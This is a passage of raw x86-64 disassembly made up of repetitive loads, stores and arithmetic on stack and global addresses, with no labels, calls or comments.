mov rcx, qword [rsp + 0x4e50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68d0], rax
mov rax, qword [rsp + 0x6358]
movzx ecx, al
mov rax, qword [rsp + 0x6a98]
shl rax, cl
mov rcx, qword [rsp + 0x5420]
mov qword [rcx], rax
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x75b0], rax
mov rax, qword [rsp + 0x71e8]
mov ecx, dword [rsp + 0x2c60]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5b58]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x193], al
mov rax, qword [rsp + 0x5d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7030]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x140178f80], ax
mov rax, qword [rsp + 0x7448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe0]
xor eax, ecx
mov rcx, qword [rsp + 0x63e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6430]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa50]
add eax, ecx
mov rcx, qword [rsp + 0x72b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5ab8]
movzx eax, word [rax]
mov word [rsp + 0xd2c], ax
mov rax, qword [rsp + 0x6fd0]
mov ecx, dword [rsp + 0x2c24]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c30], eax
mov rax, qword [rsp + 0x6440]
mov qword [rsp + 0x75b8], rax
mov rax, qword [rsp + 0x5b20]
mov rcx, qword [rsp + 0x57f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x59f0], rax
mov rax, qword [rsp + 0x6bd8]
mov ecx, dword [rsp + 0x2e80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c14], eax
movzx eax, word [rsp + 0xc5c]
mov word [rsp + 0xd30], ax
mov rax, qword [rsp + 0x6878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
add eax, ecx
mov rcx, qword [0x14017a130]
mov byte [rcx], al
mov rax, qword [0x14017a150]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6c78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9c0], ax
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x6660]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
add eax, ecx
mov byte [rsp + 0x124], al
lea rax, [rsp + 0x2ed8]
mov qword [rsp + 0x75c0], rax
mov rax, qword [rsp + 0x4f28]
mov rcx, qword [rsp + 0x5360]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5718], rax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x2b24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c40], eax
mov rax, qword [rsp + 0x6a88]
mov rax, qword [rax]
mov qword [rsp + 0x75c8], rax
mov rax, qword [rsp + 0x5800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7120]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9c4], ax
movzx eax, word [rsp + 0xb0c]
movzx ecx, word [0x140178f70]
or eax, ecx
mov word [0x140178ee8], ax
lea rax, [rsp + 0xc1c]
mov qword [rsp + 0x75d0], rax
movsx eax, byte [rsp + 0x141]
movsx ecx, byte [rsp + 0x142]
shl eax, cl
mov rcx, qword [rsp + 0x6ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6be8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a480]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5c58]
mov byte [rcx], al
lea rax, [rsp + 0x2e90]
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x60d8]
mov rcx, qword [rsp + 0x5fd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5e58], rax
lea rax, [0x140178e6c]
mov qword [rsp + 0x75e0], rax
mov rax, qword [rsp + 0x5a20]
mov rcx, qword [rsp + 0x5e40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5088]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb14]
add eax, ecx
mov word [rsp + 0x86c], ax
movzx eax, byte [rsp + 0x60]
mov byte [0x14017a192], al
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x75e8], rax
mov rax, qword [rsp + 0x5cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba4]
and eax, ecx
mov rcx, qword [rsp + 0x64a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6610]
movzx eax, byte [rax]
mov byte [rsp + 0x195], al
mov rax, qword [0x14017a1e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc54]
add eax, ecx
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0x5de0]
mov ecx, dword [rsp + 0x2c14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b5c], eax
mov eax, dword [rsp + 0x2c78]
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x5600]
mov rcx, qword [0x140178e60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b8], rax
lea rax, [rsp + 0x5c48]
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x6998]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
sub eax, ecx
mov byte [0x14017a0e2], al
movsx eax, word [rsp + 0x8e8]
movsx ecx, word [rsp + 0xc04]
sub eax, ecx
mov rcx, qword [rsp + 0x6c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x7130]
movzx eax, byte [rax]
mov byte [rsp + 0x196], al
movsx eax, word [rsp + 0xd0c]
movsx ecx, word [0x14017a228]
add eax, ecx
mov word [rsp + 0xb60], ax
movzx eax, byte [rsp + 0x73]
movzx ecx, byte [rsp + 0xb5]
sub eax, ecx
mov byte [rsp + 0xc3], al
mov eax, dword [rsp + 0x2bb0]
mov dword [rsp + 0x2ee0], eax
mov rax, qword [rsp + 0x5bd8]
mov ecx, dword [rsp + 0x2bf8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a88]
mov rax, qword [rax]
mov qword [rsp + 0x75f8], rax
mov rax, qword [rsp + 0x51c0]
mov rcx, qword [rsp + 0x5668]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6338], rax
lea rax, [rsp + 0x122]
mov qword [0x14017a5c0], rax
movzx eax, word [0x14017a200]
mov rcx, qword [rsp + 0x5660]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbc0], ax
lea rax, [rsp + 0xd6]
mov qword [rsp + 0x7600], rax
movsx eax, word [rsp + 0x8b4]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd00], ax
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x7608], rax
mov eax, dword [rsp + 0x2b1c]
mov rcx, qword [rsp + 0x7418]
mov qword [rsp + 0x7610], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7610]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5398]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bd4], eax
lea rax, [rsp + 0x7468]
mov qword [rsp + 0x7618], rax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6d58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5fd0], rax
mov rax, qword [rsp + 0x62e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x954]
add eax, ecx
mov rcx, qword [0x14017a270]
mov word [rcx], ax
lea rax, [rsp + 0xd1c]
mov qword [rsp + 0x7620], rax
movsx eax, byte [rsp + 0xa5]
mov rcx, qword [rsp + 0x6488]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b88]
mov byte [rcx], al
movzx eax, word [rsp + 0x900]
mov word [rsp + 0xd34], ax
mov rax, qword [0x14017a528]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0x70d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7178]
mov ecx, dword [rsp + 0x2e88]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6278]
mov dword [rcx], eax
lea rax, [0x14017a060]
mov qword [rsp + 0x7628], rax
mov rax, qword [rsp + 0x55d0]
mov rcx, qword [rsp + 0x7480]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5cf8], rax
lea rax, [rsp + 0x4ed8]
mov qword [rsp + 0x7630], rax
movzx eax, word [rsp + 0xa14]
movzx ecx, word [rsp + 0xa7c]
add eax, ecx
mov word [0x140178f84], ax
movsx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x5100]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8f4], ax
movzx eax, byte [rsp + 0x67]
movzx ecx, byte [rsp + 0x175]
xor eax, ecx
mov byte [rsp + 0x179], al
movzx eax, byte [0x140178eab]
mov byte [rsp + 0x197], al
movsx eax, word [rsp + 0xccc]
mov rcx, qword [rsp + 0x70f0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x96c], ax
mov rax, qword [rsp + 0x75f8]
mov qword [rsp + 0x7638], rax
mov rax, qword [rsp + 0x74d0]
mov rcx, qword [rsp + 0x7570]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2b78], eax
mov rax, qword [rsp + 0x57f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f28]
mov qword [rsp + 0x7640], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7240]
mov qword [rcx], rax
lea rax, [rsp + 0x2e94]
mov qword [rsp + 0x7648], rax
mov rax, qword [rsp + 0x6c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xff]
and eax, ecx
mov rcx, qword [0x14017a088]
mov byte [rcx], al
movzx eax, word [rsp + 0xb50]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xa50], ax
lea rax, [rsp + 0x8e0]
mov qword [rsp + 0x7650], rax
movsx eax, word [rsp + 0xabc]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7128]
mov word [rcx], ax
mov rax, qword [rsp + 0x5318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16b]
add eax, ecx
mov rcx, qword [rsp + 0x5a80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x6370]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4e40], rax
mov rax, qword [rsp + 0x52a0]
mov rax, qword [rax]
mov qword [rsp + 0x7658], rax
mov rax, qword [rsp + 0x68d8]
mov ecx, dword [rsp + 0x2b3c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6768]
mov dword [rcx], eax
mov rax, qword [0x14017a528]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x65f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178eea], al
lea rax, [rsp + 0xb34]
mov qword [rsp + 0x7660], rax
mov rax, qword [rsp + 0x5830]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b18]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [0x14017a150]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x71f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb10], ax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x7668], rax
mov rax, qword [rsp + 0x7068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e78]
mov qword [rsp + 0x7670], rax
mov eax, dword [rsp + 0x2d68]
mov rcx, qword [rsp + 0x6158]
mov qword [rsp + 0x7678], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7678]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2bf0], eax
mov rax, qword [rsp + 0x6468]
mov rcx, qword [rsp + 0x60a0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x56b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc14]
mov rcx, qword [rsp + 0x7008]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140178f88], ax
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x4e38]
movsx eax, word [rax]
mov rcx, qword [0x14017a238]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8f4], ax
mov rax, qword [rsp + 0x5be0]
movzx eax, byte [rax]
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0x5830]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x5c60]
mov rcx, qword [rsp + 0x4ee8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5650], rax
lea rax, [rsp + 0x2ab8]
mov qword [rsp + 0x7680], rax
mov eax, dword [rsp + 0x2d90]
mov ecx, dword [rsp + 0x2b14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6da8]
mov dword [rcx], eax
lea rax, [rsp + 0x5c78]
mov qword [rsp + 0x7688], rax
mov rax, qword [rsp + 0x5830]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6860]
mov byte [rcx], al
movzx eax, byte [rsp + 0x108]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [0x14017a090]
mov byte [rcx], al
mov rax, qword [0x14017a188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd04]
sub eax, ecx
mov rcx, qword [rsp + 0x6718]
mov word [rcx], ax
mov rax, qword [rsp + 0x5640]
movzx eax, word [rax]
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0x6a18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb9]
and eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [0x140178e60]
mov qword [rsp + 0x7690], rax
mov rax, qword [rsp + 0x7418]
mov ecx, dword [rsp + 0x2d90]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b38], eax
lea rax, [rsp + 0x2c6c]
mov qword [rsp + 0x7698], rax
mov rax, qword [rsp + 0x5f28]
mov rcx, qword [rsp + 0x60d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x71b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6d68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x7518]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a538]
mov byte [rcx], al
lea rax, [rsp + 0x106]
mov qword [rsp + 0x76a0], rax
movsx eax, word [rsp + 0xcb8]
movsx ecx, word [rsp + 0xad0]
xor eax, ecx
mov word [rsp + 0xac4], ax
mov rax, qword [rsp + 0x6f18]
movzx eax, byte [rax]
mov byte [rsp + 0x19a], al
mov rax, qword [rsp + 0x6480]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a74]
shl eax, cl
mov rcx, qword [rsp + 0x5388]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2bd8]
sar eax, cl
mov dword [rsp + 0x2c30], eax
lea rax, [rsp + 0x7670]
mov qword [rsp + 0x76a8], rax
mov rax, qword [rsp + 0x5ee8]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x60a0], rax
lea rax, [rsp + 0x126]
mov qword [rsp + 0x76b0], rax
mov rax, qword [rsp + 0x60c8]
movzx eax, byte [rax]
mov byte [0x14017a193], al
mov rax, qword [rsp + 0x6828]
movsx eax, word [rax]
movsx ecx, word [0x140178f80]
sub eax, ecx
mov word [rsp + 0x8ac], ax
movzx eax, word [rsp + 0xb54]
movzx ecx, word [rsp + 0x8ec]
sub eax, ecx
mov word [rsp + 0x990], ax
lea rax, [rsp + 0xa14]
mov qword [rsp + 0x76b8], rax
mov rax, qword [rsp + 0x5838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5f40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7420], rax
lea rax, [rsp + 0x74f8]
mov qword [rsp + 0x76c0], rax
mov rax, qword [rsp + 0x5eb0]
mov rcx, qword [rsp + 0x5580]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b94], eax
mov rax, qword [rsp + 0x6e60]
mov eax, dword [rax]
mov dword [rsp + 0x2ee8], eax
mov rax, qword [rsp + 0x61c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xce0], ax
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x60b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f8c], ax
mov rax, qword [0x14017a0b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7298]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5418]
mov byte [rcx], al
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0x76c8], rax
mov rax, qword [rsp + 0x70d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x66d0]
mov byte [rcx], al
movzx eax, byte [0x14017a0cf]
mov byte [rsp + 0x19b], al
mov rax, qword [rsp + 0x4dc8]
mov rcx, qword [rsp + 0x4b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2b28], eax
mov rax, qword [rsp + 0x7630]
mov rcx, qword [rsp + 0x56f0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5858], rax
mov rax, qword [rsp + 0x7418]
mov eax, dword [rax]
mov dword [rsp + 0x2eec], eax
mov rax, qword [rsp + 0x6bb0]
movzx ecx, al
mov rax, qword [rsp + 0x5788]
shl rax, cl
mov qword [rsp + 0x7328], rax
movzx eax, byte [rsp + 0x10b]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14017a0c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
mov word [rsp + 0xd3c], ax
movsx eax, word [rsp + 0xba0]
mov rcx, qword [rsp + 0x6828]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x958], ax
mov rax, qword [rsp + 0x75e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6200]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5608]
mov byte [rcx], al
lea rax, [rsp + 0x91]
mov qword [rsp + 0x76d0], rax
mov rax, qword [rsp + 0x4fe8]
mov rcx, qword [rsp + 0x69a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7468], rax
lea rax, [rsp + 0x2c00]
mov qword [rsp + 0x76d8], rax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x61b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7358], rax
mov eax, dword [rsp + 0x2a3c]
mov ecx, dword [rsp + 0x2a9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e38], eax
mov rax, qword [rsp + 0x70d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb08]
add eax, ecx
mov rcx, qword [0x14017a5a0]
mov word [rcx], ax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x76e0], rax
movsx eax, word [rsp + 0xa30]
movsx ecx, word [rsp + 0xd34]
add eax, ecx
mov word [rsp + 0xce4], ax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x76e8], rax
mov rax, qword [rsp + 0x58d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7058]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb5c], ax
lea rax, [rsp + 0x5f40]
mov qword [rsp + 0x76f0], rax
mov rax, qword [rsp + 0x7028]
mov rcx, qword [rsp + 0x6738]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2e20]
mov ecx, dword [rsp + 0x2bf8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6558]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2d3c]
mov dword [rsp + 0x2ef0], eax
lea rax, [rsp + 0x9ec]
mov qword [0x14017a5c8], rax
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [rsp + 0x124]
shl eax, cl
mov rcx, qword [rsp + 0x64e0]
mov byte [rcx], al
lea rax, [rsp + 0xc54]
mov qword [rsp + 0x76f8], rax
mov rax, qword [rsp + 0x63c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x51f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x13d], al
mov rax, qword [0x14017a2b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8ac], ax
lea rax, [rsp + 0x6780]
mov qword [rsp + 0x7700], rax
mov rax, qword [rsp + 0x5b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b68]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e24], eax
mov rax, qword [rsp + 0x6538]
mov qword [rsp + 0x7708], rax
mov rax, qword [rsp + 0x6810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ce4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2dd0], eax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [0x14017a528]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a4b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8b8]
mov rcx, qword [rsp + 0x5c20]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbc4], ax
lea rax, [rsp + 0xf9]
mov qword [rsp + 0x7710], rax
mov rax, qword [rsp + 0x5ca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov rcx, qword [rsp + 0x7120]
mov word [rcx], ax
lea rax, [rsp + 0x85c]
mov qword [rsp + 0x7718], rax
mov eax, dword [rsp + 0x2eb0]
mov ecx, dword [rsp + 0x2dfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b64], eax
lea rax, [rsp + 0x6698]
mov qword [rsp + 0x7720], rax
mov rax, qword [rsp + 0x6dd0]
mov rcx, qword [rsp + 0x6738]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x73d0], rax
mov rax, qword [rsp + 0x59a0]
mov ecx, dword [rsp + 0x2b4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2eb4], eax
lea rax, [rsp + 0xc7]
mov qword [0x14017a5d0], rax
lea rax, [rsp + 0x85]
mov qword [rsp + 0x7728], rax
movsx eax, word [rsp + 0x874]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a78]
movzx eax, byte [rax]
mov byte [rsp + 0x19c], al
mov rax, qword [0x14017a0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18f]
sub eax, ecx
mov rcx, qword [rsp + 0x6280]
mov byte [rcx], al
mov rax, qword [rsp + 0x6308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5610]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5fd0], rax
mov rax, qword [rsp + 0x6768]
mov eax, dword [rax]
mov dword [rsp + 0x2ef4], eax
mov eax, dword [rsp + 0x2e48]
mov ecx, dword [0x140178e6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5050]
mov rax, qword [rax]
mov qword [rsp + 0x7730], rax
lea rax, [rsp + 0x8e0]
mov qword [0x14017a5d8], rax
movzx eax, word [rsp + 0xad4]
movzx ecx, word [rsp + 0x97c]
xor eax, ecx
mov rcx, qword [rsp + 0x6420]
mov word [rcx], ax
mov rax, qword [rsp + 0x7070]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xce0], ax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov byte [rsp + 0x19d], al
movzx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0x7168]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x182], al
lea rax, [rsp + 0x2eac]
mov qword [rsp + 0x7738], rax
mov eax, dword [rsp + 0x2c6c]
mov rcx, qword [rsp + 0x5b00]
mov qword [rsp + 0x7740], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7740]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2c4c], eax
mov rax, qword [rsp + 0x56b0]
mov rcx, qword [str.kD3]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e50], rax
mov rax, qword [rsp + 0x66c8]
mov qword [rsp + 0x7748], rax
movsx eax, word [rsp + 0xa1c]
movsx ecx, word [rsp + 0xaf0]
add eax, ecx
mov word [0x140178ed0], ax
movsx eax, word [0x140178f40]
mov rcx, qword [rsp + 0x6110]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5d70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x166]
mov byte [rsp + 0x19e], al
movsx eax, byte [rsp + 0x116]
movsx ecx, byte [rsp + 0x5a]
and eax, ecx
mov rcx, qword [rsp + 0x76d0]
mov byte [rcx], al
movzx eax, word [0x140178f24]
mov word [rsp + 0xd40], ax
mov rax, qword [rsp + 0x5978]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ae0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x69a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c68], eax
mov eax, dword [rsp + 0x2908]
mov dword [rsp + 0x2ef8], eax
mov rax, qword [rsp + 0x54b0]
mov rcx, qword [rsp + 0x5078]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5b50]
mov qword [rcx], rax
lea rax, [rsp + 0x15e]
mov qword [rsp + 0x7750], rax
mov rax, qword [rsp + 0x6830]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x51a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f08], ax
mov rax, qword [rsp + 0x75a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x58]
add eax, ecx
mov byte [rsp + 0x12e], al
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
mov rcx, qword [0x14017a1d8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5190]
mov word [rcx], ax
lea rax, [rsp + 0x125]
mov qword [rsp + 0x7758], rax
mov eax, dword [rsp + 0x2d48]
mov rcx, qword [rsp + 0x7648]
mov qword [rsp + 0x7760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7760]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6b58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b08]
mov dword [rsp + 0x2efc], eax
mov rax, qword [rsp + 0x4fa8]
mov rcx, qword [0x140178e78]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6678], rax
mov rax, qword [rsp + 0x6de8]
mov rcx, qword [rsp + 0x4f90]
mov qword [rsp + 0x7768], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7768]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6670], rax
lea rax, [rsp + 0xa40]
mov qword [rsp + 0x7770], rax
mov rax, qword [0x14017a538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178eeb], al
movzx eax, byte [rsp + 0xa4]
movzx ecx, byte [rsp + 0x10e]
add eax, ecx
mov byte [rsp + 0x100], al
lea rax, [rsp + 0xbb8]
mov qword [rsp + 0x7778], rax
movzx eax, word [rsp + 0xbec]
mov rcx, qword [rsp + 0x60b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x4c80]
